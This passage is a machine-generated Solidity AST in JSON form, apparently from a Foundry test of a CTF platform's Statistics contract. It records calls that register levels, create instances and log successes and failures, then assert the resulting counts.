external"}},"id":65703,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2243:24:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65704,"nodeType":"ExpressionStatement","src":"2243:24:152"},{"expression":{"arguments":[{"id":65708,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65506,"src":"2296:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65705,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2277:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65707,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2283:12:152","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":56023,"src":"2277:18:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65709,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2277:35:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65710,"nodeType":"ExpressionStatement","src":"2277:35:152"},{"expression":{"arguments":[{"id":65714,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"2341:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65711,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2322:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65713,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2328:12:152","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":56023,"src":"2322:18:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65715,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2322:35:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65716,"nodeType":"ExpressionStatement","src":"2322:35:152"},{"expression":{"arguments":[{"id":65720,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65510,"src":"2386:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65717,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2367:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65719,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2373:12:152","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":56023,"src":"2367:18:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65721,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2367:35:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65722,"nodeType":"ExpressionStatement","src":"2367:35:152"},{"expression":{"arguments":[{"id":65726,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65512,"src":"2437:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65727,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65506,"src":"2455:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65728,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"2472:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65723,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2413:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65725,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2419:17:152","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"2413:23:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65729,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2413:64:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65730,"nodeType":"ExpressionStatement","src":"2413:64:152"},{"expression":{"arguments":[{"id":65734,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65514,"src":"2511:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65735,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"2529:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65736,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"2546:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65731,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2487:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65733,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2493:17:152","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"2487:23:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2487:64:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65738,"nodeType":"ExpressionStatement","src":"2487:64:152"},{"expression":{"arguments":[{"id":65742,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65516,"src":"2585:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65743,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65510,"src":"2603:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65744,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"2620:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65739,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2561:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65741,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2567:17:152","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"2561:23:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65745,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2561:64:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65746,"nodeType":"ExpressionStatement","src":"2561:64:152"},{"expression":{"arguments":[{"id":65750,"name":"level_instance_4","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65518,"src":"2659:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65751,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65506,"src":"2677:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65752,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65504,"src":"2694:5:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65747,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2635:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65749,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2641:17:152","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"2635:23:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2635:65:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65754,"nodeType":"ExpressionStatement","src":"2635:65:152"},{"expression":{"arguments":[{"id":65758,"name":"level_instance_5","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65520,"src":"2734:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65759,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"2752:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65760,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65504,"src":"2769:5:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65755,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2710:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65757,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2716:17:152","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"2710:23:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65761,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2710:65:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65762,"nodeType":"ExpressionStatement","src":"2710:65:152"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":65764,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2795:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65765,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2801:33:152","memberName":"getTotalNoOfLevelInstancesCreated","nodeType":"MemberAccess","referencedDeclaration":56326,"src":"2795:39:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":65766,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2795:41:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"35","id":65767,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2838:1:152","typeDescriptions":{"typeIdentifier":"t_rational_5_by_1","typeString":"int_const 5"},"value":"5"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_5_by_1","typeString":"int_const 5"}],"id":65763,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"2786:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65768,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2786:54:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65769,"nodeType":"ExpressionStatement","src":"2786:54:152"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":65771,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2859:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65772,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2865:19:152","memberName":"getTotalNoOfPlayers","nodeType":"MemberAccess","referencedDeclaration":56351,"src":"2859:25:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":65773,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2859:27:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"32","id":65774,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2888:1:152","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":65770,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"2850:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65775,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2850:40:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65776,"nodeType":"ExpressionStatement","src":"2850:40:152"},{"expression":{"arguments":[{"id":65780,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65512,"src":"2921:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65781,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65506,"src":"2939:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65782,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"2956:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65777,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2901:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65779,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2907:13:152","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"2901:19:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65783,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2901:60:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65784,"nodeType":"ExpressionStatement","src":"2901:60:152"},{"expression":{"arguments":[{"id":65788,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65514,"src":"2991:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65789,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"3009:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65790,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"3026:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65785,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"2971:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65787,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2977:13:152","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"2971:19:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65791,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2971:60:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65792,"nodeType":"ExpressionStatement","src":"2971:60:152"},{"expression":{"arguments":[{"id":65796,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65516,"src":"3061:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65797,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65510,"src":"3079:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65798,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"3096:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65793,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3041:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65795,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3047:13:152","memberName":"submitFailure","nodeType":"MemberAccess","referencedDeclaration":56000,"src":"3041:19:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65799,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3041:60:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65800,"nodeType":"ExpressionStatement","src":"3041:60:152"},{"expression":{"arguments":[{"id":65804,"name":"level_instance_4","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65518,"src":"3131:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65805,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65506,"src":"3149:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65806,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65504,"src":"3166:5:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65801,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3111:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65803,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3117:13:152","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"3111:19:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65807,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3111:61:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65808,"nodeType":"ExpressionStatement","src":"3111:61:152"},{"expression":{"arguments":[{"id":65812,"name":"level_instance_5","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65520,"src":"3202:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65813,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65508,"src":"3220:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65814,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65504,"src":"3237:5:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65809,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3182:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65811,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3188:13:152","memberName":"submitFailure","nodeType":"MemberAccess","referencedDeclaration":56000,"src":"3182:19:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":65815,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3182:61:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65816,"nodeType":"ExpressionStatement","src":"3182:61:152"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":65818,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3263:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65819,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3269:35:152","memberName":"getTotalNoOfLevelInstancesCompleted","nodeType":"MemberAccess","referencedDeclaration":56334,"src":"3263:41:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":65820,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3263:43:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"33","id":65821,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3308:1:152","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"}],"id":65817,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3254:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65822,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3254:56:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65823,"nodeType":"ExpressionStatement","src":"3254:56:152"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":65825,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3329:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65826,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3335:29:152","memberName":"getTotalNoOfFailedSubmissions","nodeType":"MemberAccess","referencedDeclaration":56342,"src":"3329:35:152","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_uint256_$","typeString":"function () view external returns (uint256)"}},"id":65827,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3329:37:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"32","id":65828,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"3368:1:152","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":65824,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"3320:8:152","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":65829,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3320:50:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65830,"nodeType":"ExpressionStatement","src":"3320:50:152"},{"expression":{"arguments":[{"arguments":[{"id":65834,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65506,"src":"3421:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65832,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65495,"src":"3390:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract 